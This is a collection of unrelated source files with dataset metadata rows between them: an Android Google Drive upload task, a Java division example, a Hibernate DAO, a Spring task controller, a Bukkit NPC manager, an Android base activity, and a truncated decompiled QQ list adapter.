List<String> fileInfo = new ArrayList<>();
FileList result = mService.files().list()
.setMaxResults(10)
.execute();
List<com.google.api.services.drive.model.File> files = result.getItems();
if (files != null) {
for (com.google.api.services.drive.model.File file : files) {
fileInfo.add(String.format("%s (%s)\n",
file.getTitle(), file.getId()));
}
}
return about.getRootFolderId();
} catch (UserRecoverableAuthIOException e) {
Intent userIntent = e.getIntent();
userIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(userIntent);
}
return null;
}
@Override
protected void onPostExecute(Boolean output) {
if (output) {
mBuilder.setContentText(context.getResources().getString(R.string.upload_to_google_drive_completed));
mNotifyManager.notify(1, mBuilder.build());
}
}
}
|
UTF-8
|
Java
| 6,014 |
java
|
GoogleDriveUpload.java
|
Java
|
[] | null |
[] |
/*
* Copyright (c) 2016. SmartHMA ESA
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package pl.wasat.smarthma.services;
import android.app.NotificationManager;
import android.content.Context;
import android.content.Intent;
import android.os.AsyncTask;
import android.os.Environment;
import android.support.v4.app.NotificationCompat;
import android.util.Log;
import com.google.api.client.extensions.android.http.AndroidHttp;
import com.google.api.client.googleapis.extensions.android.gms.auth.GoogleAccountCredential;
import com.google.api.client.googleapis.extensions.android.gms.auth.UserRecoverableAuthIOException;
import com.google.api.client.http.FileContent;
import com.google.api.client.http.HttpTransport;
import com.google.api.client.json.JsonFactory;
import com.google.api.client.json.jackson2.JacksonFactory;
import com.google.api.services.drive.model.About;
import com.google.api.services.drive.model.File;
import com.google.api.services.drive.model.FileList;
import com.google.api.services.drive.model.ParentReference;
import java.io.IOException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import pl.wasat.smarthma.R;
/**
* The type Google drive upload.
*/
class GoogleDriveUpload extends AsyncTask<Void, Void, Boolean> {
/**
* The Root dir.
*/
final java.io.File rootDir = Environment.getExternalStorageDirectory();
private final NotificationCompat.Builder mBuilder;
private final NotificationManager mNotifyManager;
private final Context context;
private com.google.api.services.drive.Drive mService = null;
/**
* Instantiates a new Google drive upload.
*
* @param credential the credential
* @param context the context
*/
public GoogleDriveUpload(GoogleAccountCredential credential, Context context) {
super();
this.context = context;
//String fileName = "file";
//java.io.File file = new java.io.File(rootDir + "/smartHMA", fileName);
HttpTransport transport = AndroidHttp.newCompatibleTransport();
JsonFactory jsonFactory = JacksonFactory.getDefaultInstance();
mService = new com.google.api.services.drive.Drive.Builder(
transport, jsonFactory, credential)
.setApplicationName("GoogleDriveSample")
.build();
mNotifyManager = (NotificationManager) context.getSystemService(Context.NOTIFICATION_SERVICE);
mBuilder = new NotificationCompat.Builder(context);
mBuilder.setContentTitle(context.getString(R.string.upload))
.setContentText(context.getResources().getString(R.string.upload_to_google_drive_in_progress))
.setSmallIcon(R.drawable.actionbar_logo);
mNotifyManager.notify(1, mBuilder.build());
}
/**
* Background task to call Drive API.
*
* @param params no parameters needed for this task.
*/
@Override
protected Boolean doInBackground(Void... params) {
String file_type = "video/mp4"; //write your file type
java.io.File rootDir = Environment.getExternalStorageDirectory();
String fileName = "file";
java.io.File file = new java.io.File(rootDir + "/smartHMA", fileName);
com.google.api.services.drive.model.File body = new com.google.api.services.drive.model.File();
File FileRtr;
body.setTitle(file.getName());
body.setId(null);
body.setMimeType(file_type);
try {
body.setParents(Collections.singletonList(new ParentReference().setId(getRootId())));
FileContent mediaContent = new FileContent(file_type, file);
FileRtr = mService.files().insert(body, mediaContent).execute();
if (FileRtr != null) {
System.out.println(context.getString(R.string.file_uploaded) + FileRtr.getTitle());
}
} catch (Exception e) {
Log.e("", e.toString());
return false;
}
return true;
}
/**
* Fetch a list of up to 10 file names and IDs.
*
* @return List of Strings describing files, or an empty list if no files
* found.
* @throws IOException
*/
private String getRootId() throws IOException {
try {
About about = mService.about().get().execute();
// Get a list of up to 10 files.
List<String> fileInfo = new ArrayList<>();
FileList result = mService.files().list()
.setMaxResults(10)
.execute();
List<com.google.api.services.drive.model.File> files = result.getItems();
if (files != null) {
for (com.google.api.services.drive.model.File file : files) {
fileInfo.add(String.format("%s (%s)\n",
file.getTitle(), file.getId()));
}
}
return about.getRootFolderId();
} catch (UserRecoverableAuthIOException e) {
Intent userIntent = e.getIntent();
userIntent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
context.startActivity(userIntent);
}
return null;
}
@Override
protected void onPostExecute(Boolean output) {
if (output) {
mBuilder.setContentText(context.getResources().getString(R.string.upload_to_google_drive_completed));
mNotifyManager.notify(1, mBuilder.build());
}
}
}
| 6,014 | 0.66129 | 0.658131 | 165 | 35.442425 | 28.944744 | 113 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.533333 | false | false |
8
|
63c57943740be78b7c180b98788b267f02f670e8
| 8,778,913,180,185 |
0225206b32a529dbf3647ca83f198f5fdd8ae2ed
|
/ExceptionInJavaNov/src/com/exc/A.java
|
f3635203bfb5b25cc2a518de4bb6a0ccf943705a
|
[] |
no_license
|
henry-49/workspace
|
https://github.com/henry-49/workspace
|
9c7a29eaa973dea49bb3b7d1119bc3d324fbf749
|
db0059e039c154343d9787802f5ab682ba88474d
|
refs/heads/master
| 2022-12-29T19:24:12.435000 | 2019-06-30T13:33:23 | 2019-06-30T13:33:23 | 196,766,946 | 0 | 0 | null | false | 2022-12-16T01:42:25 | 2019-07-13T21:13:20 | 2019-07-13T21:24:59 | 2022-12-16T01:42:24 | 187,348 | 0 | 0 | 13 |
CSS
| false | false |
package com.exc;
import java.util.Scanner;
public class A {
static int res;
public static void main(String[] args) {
// TODO Auto-generated method stub
Scanner sc = new Scanner(System.in);
System.out.println("Enter first number");
int no1 = sc.nextInt();
System.out.println("Enter secornd number");
int no2 = sc.nextInt();
A ac = new A();
try{
res = ac.divide(no1, no2);
System.out.println(res);
}catch(ArithmeticException e){
System.out.println("Number can not be divid by zero");
}
}
public int divide(int a, int b){
return a/b;
}
}
|
UTF-8
|
Java
| 590 |
java
|
A.java
|
Java
|
[] | null |
[] |
package com.exc;
import java.util.Scanner;
public class A {
static int res;
public static void main(String[] args) {
// TODO Auto-generated method stub
Scanner sc = new Scanner(System.in);
System.out.println("Enter first number");
int no1 = sc.nextInt();
System.out.println("Enter secornd number");
int no2 = sc.nextInt();
A ac = new A();
try{
res = ac.divide(no1, no2);
System.out.println(res);
}catch(ArithmeticException e){
System.out.println("Number can not be divid by zero");
}
}
public int divide(int a, int b){
return a/b;
}
}
| 590 | 0.645763 | 0.638983 | 30 | 18.666666 | 16.383596 | 57 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.033333 | false | false |
8
|
0b69a3415b425b94e0f852e1d7baefbe8ce38211
| 5,308,579,610,771 |
948ce8d71b619582e085fa417bdf606d12e0a684
|
/src/manage/dao/impl/SubjectDaoImpl.java
|
e135ce373fb43e8713caaf612905ddb938ae3db2
|
[] |
no_license
|
Hang217/AttendanceManager
|
https://github.com/Hang217/AttendanceManager
|
957c929b994803118d69e10f3ed7dfda6e19553a
|
51665d999a1cd38f16ff5e756ae13ec232289d1c
|
refs/heads/master
| 2022-07-23T03:09:30.136000 | 2020-05-19T09:18:31 | 2020-05-19T09:18:31 | 265,193,827 | 1 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package manage.dao.impl;
import java.sql.SQLException;
import java.util.List;
import org.hibernate.HibernateException;
import org.hibernate.Session;
import org.springframework.orm.hibernate3.HibernateCallback;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
import manage.dao.SubjectDao;
import manage.model.Subject;
public class SubjectDaoImpl extends HibernateDaoSupport implements SubjectDao{
@SuppressWarnings("unchecked")
public List<Subject> getAll(String where) {
return this.getHibernateTemplate().find("from Subject where 1=1 "+where+" order by id");
}
public void insertSubject(Subject banji){
this.getHibernateTemplate().save(banji);
}
public void delSubject(Subject banji) {
this.getHibernateTemplate().delete(banji);
}
public void updateSubject(Subject banji) {
this.getHibernateTemplate().update(banji);
}
@SuppressWarnings("unchecked")
public List<Subject> selectAllSubject(final int start,final int limit) {
return (List<Subject>)this.getHibernateTemplate().executeFind(new HibernateCallback() {
public Object doInHibernate(final Session session)throws HibernateException, SQLException {
List<Subject> list = session.createQuery("from Subject order by id desc")
.setFirstResult(start)
.setMaxResults(limit)
.list();
return list;
}
});
}
public int selectAllSubjectCount() {
long count = (Long)this.getHibernateTemplate().find("select count(*) from Subject").get(0);
return (int)count;
}
public Subject selectSubject(int id) {
return this.getHibernateTemplate().get(Subject.class, id);
}
@SuppressWarnings("unchecked")
public List<Subject> selectAllSubjectBy(final int start,final int limit,final String keyword) {
return (List<Subject>)this.getHibernateTemplate().executeFind(new HibernateCallback() {
public Object doInHibernate(final Session session)throws HibernateException, SQLException {
List<Subject> list = session.createQuery("from Subject where 1=1 "+keyword+" order by id desc")
.setFirstResult(start)
.setMaxResults(limit)
.list();
return list;
}
});
}
}
|
UTF-8
|
Java
| 2,131 |
java
|
SubjectDaoImpl.java
|
Java
|
[] | null |
[] |
package manage.dao.impl;
import java.sql.SQLException;
import java.util.List;
import org.hibernate.HibernateException;
import org.hibernate.Session;
import org.springframework.orm.hibernate3.HibernateCallback;
import org.springframework.orm.hibernate3.support.HibernateDaoSupport;
import manage.dao.SubjectDao;
import manage.model.Subject;
public class SubjectDaoImpl extends HibernateDaoSupport implements SubjectDao{
@SuppressWarnings("unchecked")
public List<Subject> getAll(String where) {
return this.getHibernateTemplate().find("from Subject where 1=1 "+where+" order by id");
}
public void insertSubject(Subject banji){
this.getHibernateTemplate().save(banji);
}
public void delSubject(Subject banji) {
this.getHibernateTemplate().delete(banji);
}
public void updateSubject(Subject banji) {
this.getHibernateTemplate().update(banji);
}
@SuppressWarnings("unchecked")
public List<Subject> selectAllSubject(final int start,final int limit) {
return (List<Subject>)this.getHibernateTemplate().executeFind(new HibernateCallback() {
public Object doInHibernate(final Session session)throws HibernateException, SQLException {
List<Subject> list = session.createQuery("from Subject order by id desc")
.setFirstResult(start)
.setMaxResults(limit)
.list();
return list;
}
});
}
public int selectAllSubjectCount() {
long count = (Long)this.getHibernateTemplate().find("select count(*) from Subject").get(0);
return (int)count;
}
public Subject selectSubject(int id) {
return this.getHibernateTemplate().get(Subject.class, id);
}
@SuppressWarnings("unchecked")
public List<Subject> selectAllSubjectBy(final int start,final int limit,final String keyword) {
return (List<Subject>)this.getHibernateTemplate().executeFind(new HibernateCallback() {
public Object doInHibernate(final Session session)throws HibernateException, SQLException {
List<Subject> list = session.createQuery("from Subject where 1=1 "+keyword+" order by id desc")
.setFirstResult(start)
.setMaxResults(limit)
.list();
return list;
}
});
}
}
| 2,131 | 0.75176 | 0.748475 | 69 | 29.884058 | 31.254234 | 99 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 1.985507 | false | false |
8
|
28460ea6406137544dd4a7ead1468c3ebaeda3fc
| 7,533,372,651,335 |
39e8f4e02e12dfabd67814ce911c2fec60777317
|
/task-management/src/main/java/com/assessment/taskmanagement/controller/TaskController.java
|
75ed9160ba861c1ab082dfb8fdfd8beb98cfbaee
|
[] |
no_license
|
PraveenYadav23/TaskAssignment
|
https://github.com/PraveenYadav23/TaskAssignment
|
f528b81f23ef69c6e3bb3004a6e983b4a9cc60cb
|
be7b98fdd90b2f0541cb878f8ed4980b95df3db9
|
refs/heads/main
| 2023-08-15T11:27:18.988000 | 2021-10-18T17:46:11 | 2021-10-18T17:46:11 | 418,607,529 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.assessment.taskmanagement.controller;
import com.assessment.taskmanagement.request.CreateTaskRequest;
import com.assessment.taskmanagement.request.UpdateTaskRequest;
import com.assessment.taskmanagement.response.CommonStatusResponse;
import com.assessment.taskmanagement.response.GetTasks;
import com.assessment.taskmanagement.response.TaskDetails;
import com.assessment.taskmanagement.service.TaskService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Pageable;
import org.springframework.data.web.PageableDefault;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;
import java.io.IOException;
@RestController
@RequestMapping("/tasks")
public class TaskController {
@Autowired
private TaskService taskService;
@GetMapping("/get-tasks")
public GetTasks getTasks(
//TODO use pageable object
@RequestParam(value = "page", defaultValue = "0") int page,
@RequestParam(value = "limit", defaultValue = "5") int limit,
@RequestParam(value = "userId") Long userId,
HttpServletRequest request
){
//TODo avoid create instance
GetTasks tasks = taskService.getAllTasks(page, limit, userId);
return tasks;
}
@GetMapping("/{taskId}")
public TaskDetails getTaskDetails(
@PathVariable("taskId") Long taskId,
@RequestParam(value = "userId") Long userId,
HttpServletRequest request){
TaskDetails taskDetails = taskService.getTaskDetails(taskId, userId);
return taskDetails;
}
@DeleteMapping("/delete-task")
public CommonStatusResponse deleteTask(@RequestParam("taskId") Long taskId, HttpServletRequest request){
taskService.deleteTaskById(taskId);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
@PostMapping("/create-task")
public CommonStatusResponse createTask(
@Valid @RequestBody CreateTaskRequest createTaskRequest,
HttpServletRequest request
){
taskService.createNewTask(createTaskRequest);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
@PutMapping("/update-task")
public CommonStatusResponse updateTask(
@Valid @RequestBody UpdateTaskRequest updateTaskRequest,
HttpServletRequest request
){
taskService.updateExistingTask(updateTaskRequest);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
@PutMapping("/mark-done/{taskId}")
public CommonStatusResponse markDone(@PathVariable(name = "taskId") Long taskId,
HttpServletRequest request){
taskService.markTaskDone(taskId);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
@PostMapping(value = "/create-task1", consumes = {"multipart/form-data"})
public CommonStatusResponse createTask1(
@Valid @RequestPart("data") CreateTaskRequest createTaskRequest,
@RequestPart("file") MultipartFile file,
HttpServletRequest request
) throws IOException {
taskService.createNewTask1(createTaskRequest,file);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
}
|
UTF-8
|
Java
| 3,552 |
java
|
TaskController.java
|
Java
|
[] | null |
[] |
package com.assessment.taskmanagement.controller;
import com.assessment.taskmanagement.request.CreateTaskRequest;
import com.assessment.taskmanagement.request.UpdateTaskRequest;
import com.assessment.taskmanagement.response.CommonStatusResponse;
import com.assessment.taskmanagement.response.GetTasks;
import com.assessment.taskmanagement.response.TaskDetails;
import com.assessment.taskmanagement.service.TaskService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.domain.Pageable;
import org.springframework.data.web.PageableDefault;
import org.springframework.web.bind.annotation.*;
import org.springframework.web.multipart.MultipartFile;
import javax.servlet.http.HttpServletRequest;
import javax.validation.Valid;
import java.io.IOException;
@RestController
@RequestMapping("/tasks")
public class TaskController {
@Autowired
private TaskService taskService;
@GetMapping("/get-tasks")
public GetTasks getTasks(
//TODO use pageable object
@RequestParam(value = "page", defaultValue = "0") int page,
@RequestParam(value = "limit", defaultValue = "5") int limit,
@RequestParam(value = "userId") Long userId,
HttpServletRequest request
){
//TODo avoid create instance
GetTasks tasks = taskService.getAllTasks(page, limit, userId);
return tasks;
}
@GetMapping("/{taskId}")
public TaskDetails getTaskDetails(
@PathVariable("taskId") Long taskId,
@RequestParam(value = "userId") Long userId,
HttpServletRequest request){
TaskDetails taskDetails = taskService.getTaskDetails(taskId, userId);
return taskDetails;
}
@DeleteMapping("/delete-task")
public CommonStatusResponse deleteTask(@RequestParam("taskId") Long taskId, HttpServletRequest request){
taskService.deleteTaskById(taskId);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
@PostMapping("/create-task")
public CommonStatusResponse createTask(
@Valid @RequestBody CreateTaskRequest createTaskRequest,
HttpServletRequest request
){
taskService.createNewTask(createTaskRequest);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
@PutMapping("/update-task")
public CommonStatusResponse updateTask(
@Valid @RequestBody UpdateTaskRequest updateTaskRequest,
HttpServletRequest request
){
taskService.updateExistingTask(updateTaskRequest);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
@PutMapping("/mark-done/{taskId}")
public CommonStatusResponse markDone(@PathVariable(name = "taskId") Long taskId,
HttpServletRequest request){
taskService.markTaskDone(taskId);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
@PostMapping(value = "/create-task1", consumes = {"multipart/form-data"})
public CommonStatusResponse createTask1(
@Valid @RequestPart("data") CreateTaskRequest createTaskRequest,
@RequestPart("file") MultipartFile file,
HttpServletRequest request
) throws IOException {
taskService.createNewTask1(createTaskRequest,file);
CommonStatusResponse response = new CommonStatusResponse("Success");
return response;
}
}
| 3,552 | 0.716498 | 0.71509 | 95 | 36.389473 | 26.095491 | 108 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.557895 | false | false |
8
|
a78347946442f81fcd4ac39ffd77a5dfeca97b59
| 7,404,523,648,768 |
389881f82c01f95fd2ed24488f2d7ad914a01ea3
|
/src/main/java/com/orange/plump/seniornpc/NPCManager.java
|
43afb59bee3d509239a0bffcdf84b425d9612d27
|
[] |
no_license
|
xPlumpOrange/SeniorNPC
|
https://github.com/xPlumpOrange/SeniorNPC
|
9379a29ded5165d2e0db4aaa8bd13c415e314130
|
6f6626d3ebc8f5dcf83656e1c8de5067ee6fe0ad
|
refs/heads/master
| 2022-12-08T01:10:50.256000 | 2020-09-02T02:14:45 | 2020-09-02T02:14:45 | 292,155,409 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.orange.plump.seniornpc;
import org.bukkit.Bukkit;
import org.bukkit.Location;
import org.bukkit.configuration.file.FileConfiguration;
import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player;
import java.io.File;
import java.io.InputStreamReader;
import java.io.Reader;
import java.util.ArrayList;
import java.util.List;
public class NPCManager {
private FileConfiguration npcConfig;
private final SeniorNPC plugin;
private List<NPC> npcs;
public NPCManager(SeniorNPC plugin) {
this.plugin = plugin;
loadConfig();
npcs = new ArrayList<>();
loadNPCsInConfig();
}
private void loadNPCsInConfig() {
List<String> raw = npcConfig.getStringList("npcs");
for (String data : raw) {
try {
String world = data.split(":")[0];
String[] cords = data.split(":")[1].split(",");
NPC npc = new NPC(plugin, new Location(Bukkit.getWorld(world), Double.parseDouble(cords[0]), Double.parseDouble(cords[1]), Double.parseDouble(cords[2])));
npcs.add(npc);
} catch (Exception e) {
SeniorNPC.log("Failed to npc \"" + data + "\" in config");
}
}
}
private void loadConfig() {
try {
File file = new File(plugin.getDataFolder(), "npcs.yml");
if (!file.exists()) {
plugin.saveResource("npcs.yml", false);
}
npcConfig = YamlConfiguration.loadConfiguration(file);
Reader defConfigStream = new InputStreamReader(plugin.getResource("npcs.yml"), "UTF8");
if (defConfigStream != null) {
YamlConfiguration defConfig = YamlConfiguration.loadConfiguration(defConfigStream);
npcConfig.setDefaults(defConfig);
}
npcConfig.options().copyDefaults(true);
} catch (Exception e) {
e.printStackTrace();
}
}
private void saveConfig() {
try {
npcConfig.save(new File(plugin.getDataFolder(), "npcs.yml"));
} catch (Exception e) {
SeniorNPC.log("Failed to save NPC!");
e.printStackTrace();
}
}
public void despawnNPCS() {
for (NPC npc : npcs)
npc.despawnNPC();
npcs.clear();
}
public NPC createNPC(Location location) {
NPC npc = new NPC(plugin, location);
List<String> raw = npcConfig.getStringList("npcs");
raw.add(location.getWorld().getName() + ":" + location.getX() + "," + location.getY() + "," + location.getZ());
npcConfig.set("npcs", raw);
saveConfig();
npcs.add(npc);
return npc;
}
public void showNPCS(Player player) {
for (NPC npc : npcs)
npc.showNPC(player);
}
}
|
UTF-8
|
Java
| 2,427 |
java
|
NPCManager.java
|
Java
|
[] | null |
[] |
package com.orange.plump.seniornpc;
import org.bukkit.Bukkit;
import org.bukkit.Location;
import org.bukkit.configuration.file.FileConfiguration;
import org.bukkit.configuration.file.YamlConfiguration;
import org.bukkit.entity.Player;
import java.io.File;
import java.io.InputStreamReader;
import java.io.Reader;
import java.util.ArrayList;
import java.util.List;
public class NPCManager {
private FileConfiguration npcConfig;
private final SeniorNPC plugin;
private List<NPC> npcs;
public NPCManager(SeniorNPC plugin) {
this.plugin = plugin;
loadConfig();
npcs = new ArrayList<>();
loadNPCsInConfig();
}
private void loadNPCsInConfig() {
List<String> raw = npcConfig.getStringList("npcs");
for (String data : raw) {
try {
String world = data.split(":")[0];
String[] cords = data.split(":")[1].split(",");
NPC npc = new NPC(plugin, new Location(Bukkit.getWorld(world), Double.parseDouble(cords[0]), Double.parseDouble(cords[1]), Double.parseDouble(cords[2])));
npcs.add(npc);
} catch (Exception e) {
SeniorNPC.log("Failed to npc \"" + data + "\" in config");
}
}
}
private void loadConfig() {
try {
File file = new File(plugin.getDataFolder(), "npcs.yml");
if (!file.exists()) {
plugin.saveResource("npcs.yml", false);
}
npcConfig = YamlConfiguration.loadConfiguration(file);
Reader defConfigStream = new InputStreamReader(plugin.getResource("npcs.yml"), "UTF8");
if (defConfigStream != null) {
YamlConfiguration defConfig = YamlConfiguration.loadConfiguration(defConfigStream);
npcConfig.setDefaults(defConfig);
}
npcConfig.options().copyDefaults(true);
} catch (Exception e) {
e.printStackTrace();
}
}
private void saveConfig() {
try {
npcConfig.save(new File(plugin.getDataFolder(), "npcs.yml"));
} catch (Exception e) {
SeniorNPC.log("Failed to save NPC!");
e.printStackTrace();
}
}
public void despawnNPCS() {
for (NPC npc : npcs)
npc.despawnNPC();
npcs.clear();
}
public NPC createNPC(Location location) {
NPC npc = new NPC(plugin, location);
List<String> raw = npcConfig.getStringList("npcs");
raw.add(location.getWorld().getName() + ":" + location.getX() + "," + location.getY() + "," + location.getZ());
npcConfig.set("npcs", raw);
saveConfig();
npcs.add(npc);
return npc;
}
public void showNPCS(Player player) {
for (NPC npc : npcs)
npc.showNPC(player);
}
}
| 2,427 | 0.686444 | 0.683972 | 91 | 25.67033 | 26.104631 | 158 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 2.241758 | false | false |
8
|
3229509aaa5ee6e7ec55b4766b1b81fa8f6bc73d
| 31,147,102,845,371 |
f6c926dea6c5a1c360d370aa69f5b44c2eebae8d
|
/app/src/main/java/com/hao/simplest/activities/BaseActivity.java
|
65ed3b6b08e9efa152271d23760214f26e4c33e5
|
[
"Apache-2.0"
] |
permissive
|
Oahihs/Simplest
|
https://github.com/Oahihs/Simplest
|
e1004f8ebaac899226f08f0591d5a5f169b505ce
|
e4a8d515225f2b51243a01fa4d0d1c9b8c2c43fa
|
refs/heads/master
| 2021-07-22T14:40:49.277000 | 2017-11-01T14:40:37 | 2017-11-01T14:40:37 | 109,142,255 | 0 | 0 | null | null | null | null | null | null | null | null | null | null | null | null | null |
package com.hao.simplest.activities;
import android.content.Intent;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.hao.simplest.R;
public abstract class BaseActivity extends AppCompatActivity {
private RelativeLayout rlContent;
private Toolbar toolbar;
private ToolbarX mToolbarX;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_base);
initialize();
View v = getLayoutInflater().inflate(getLayoutId(),rlContent,false);
rlContent.addView(v);
mToolbarX = new ToolbarX(toolbar,this);
}
@Override
public void startActivity(Intent intent) {
super.startActivity(intent);
overridePendingTransition(R.anim.anim_in_right_left,R.anim.anim_out_right_left);
}
@Override
public void finish() {
super.finish();
overridePendingTransition(R.anim.anim_in_left_right,R.anim.anim_out_left_right);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
overridePendingTransition(R.anim.anim_in_right_left,R.anim.anim_out_right_left);
}
//初始化控件
private void initialize(){
toolbar = (Toolbar)findViewById(R.id.toolbar);
rlContent = (RelativeLayout)findViewById(R.id.rlContent) ;
}
public abstract int getLayoutId();
public ToolbarX getmToolbar(){
if (null == mToolbarX){
return new ToolbarX(toolbar,this);
}
return mToolbarX;
}
}
|
UTF-8
|
Java
| 1,866 |
java
|
BaseActivity.java
|
Java
|
[] | null |
[] |
package com.hao.simplest.activities;
import android.content.Intent;
import android.support.annotation.Nullable;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.support.v7.widget.Toolbar;
import android.view.View;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.hao.simplest.R;
public abstract class BaseActivity extends AppCompatActivity {
private RelativeLayout rlContent;
private Toolbar toolbar;
private ToolbarX mToolbarX;
@Override
protected void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_base);
initialize();
View v = getLayoutInflater().inflate(getLayoutId(),rlContent,false);
rlContent.addView(v);
mToolbarX = new ToolbarX(toolbar,this);
}
@Override
public void startActivity(Intent intent) {
super.startActivity(intent);
overridePendingTransition(R.anim.anim_in_right_left,R.anim.anim_out_right_left);
}
@Override
public void finish() {
super.finish();
overridePendingTransition(R.anim.anim_in_left_right,R.anim.anim_out_left_right);
}
@Override
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
overridePendingTransition(R.anim.anim_in_right_left,R.anim.anim_out_right_left);
}
//初始化控件
private void initialize(){
toolbar = (Toolbar)findViewById(R.id.toolbar);
rlContent = (RelativeLayout)findViewById(R.id.rlContent) ;
}
public abstract int getLayoutId();
public ToolbarX getmToolbar(){
if (null == mToolbarX){
return new ToolbarX(toolbar,this);
}
return mToolbarX;
}
}
| 1,866 | 0.701509 | 0.700431 | 59 | 30.457626 | 24.828444 | 88 | false | false | 0 | 0 | 0 | 0 | 0 | 0 | 0.694915 | false | false |
8
|
4f185638b3c5cabc3b610da93761d2580d8fabdd
| 21,835,613,739,575 |
647ec12ce50f06e7380fdbfb5b71e9e2d1ac03b4
|
/com.tencent.minihd.qq/assets/exlibs.2.jar/classes.jar/com/tencent/open/agent/DeviceFriendListOpenFrame$FriendListAdapter.java
|
510f6a80b0228d600811da456069ce281b64daf2
|
[] |
no_license
|
tsuzcx/qq_apk
|
https://github.com/tsuzcx/qq_apk
|
0d5e792c3c7351ab781957bac465c55c505caf61
|
afe46ef5640d0ba6850cdefd3c11badbd725a3f6
|
refs/heads/main
| 2022-07-02T10:32:11.651000 | 2022-02-01T12:41:38 | 2022-02-01T12:41:38 | 453,860,108 | 36 | 9 | null | false | 2022-01-31T09:46:26 | 2022-01-31T02:43:22 | 2022-01-31T06:56:43 | 2022-01-31T09:46:26 | 167,304 | 0 | 1 | 1 |
Java
| false | false |
package com.tencent.open.agent;
import android.graphics.Bitmap;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.CheckBox;
import android.widget.ImageView;
import android.widget.RelativeLayout;
import android.widget.TextView;
import com.tencent.mobileqq.widget.PinnedDividerListView.DividerAdapter;
import com.tencent.open.agent.datamodel.Friend;
import com.tencent.open.agent.datamodel.FriendDataManager;
import com.tencent.open.agent.datamodel.ImageLoader;
import com.tencent.open.agent.datamodel.QZonePortraitData;
import com.tencent.open.base.LogUtility;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.Iterator;
import java.util.LinkedHashMap;
import java.util.List;
import java.util.Set;
public class DeviceFriendListOpenFrame$FriendListAdapter
extends PinnedDividerListView.DividerAdapter
{
protected LinkedHashMap a;
protected int[] a;
protected String[] a;
public DeviceFriendListOpenFrame$FriendListAdapter(DeviceFriendListOpenFrame paramDeviceFriendListOpenFrame)
{
this.jdField_a_of_type_JavaUtilLinkedHashMap = new LinkedHashMap();
this.jdField_a_of_type_ArrayOfJavaLangString = new String[0];
this.jdField_a_of_type_ArrayOfInt = new int[0];
a();
}
public int a()
{
return 2130903362;
}
public int a(String paramString)
{
int i;
if (this.jdField_a_of_type_ArrayOfJavaLangString != null)
{
i = 0;
if (i >= this.jdField_a_of_type_ArrayOfJavaLangString.length) {
break label53;
}
if (!this.jdField_a_of_type_ArrayOfJavaLangString[i].equals(paramString)) {}
}
for (;;)
{
if (i >= 0)
{
return this.jdField_a_of_type_ArrayOfInt[i];
i += 1;
break;
}
return -1;
return -1;
label53:
i = -1;
}
}
protected void a()
{
this.jdField_a_of_type_JavaUtilLinkedHashMap.clear();
Object localObject1 = this.jdField_a_of_type_ComTencentOpenAgentDeviceFriendListOpenFrame.jdField_a_of_type_ComTencentOpenAgentDatamodelFriendDataManager.a();
LogUtility.c(DeviceFriendListOpenFrame.jdField_a_of_type_JavaLangString, "-->start constructHashStruct()");
Object localObject2 = ((List)localObject1).iterator();
if (((Iterator)localObject2).hasNext())
{
Friend localFriend = (Friend)((Iterator)localObject2).next();
if ((localFriend.e == null) || (localFriend.e.length() == 0))
{
localObject1 = "#";
label81:
i = ((String)localObject1).charAt(0);
if (((65 > i) || (i > 90)) && ((97 > i) || (i > 122))) {
break label186;
}
}
label186:
for (localObject1 = ((String)localObject1).toUpperCase();; localObject1 = "#")
{
if (this.jdField_a_of_type_JavaUtilLinkedHashMap.get(localObject1) == null) {
this.jdField_a_of_type_JavaUtilLinkedHashMap.put(localObject1, new ArrayList());
}
((List)this.jdField_a_of_type_JavaUtilLinkedHashMap.get(localObject1)).add(localFriend);
break;
localObject1 = localFriend.e.substring(0, 1);
break label81;
}
}
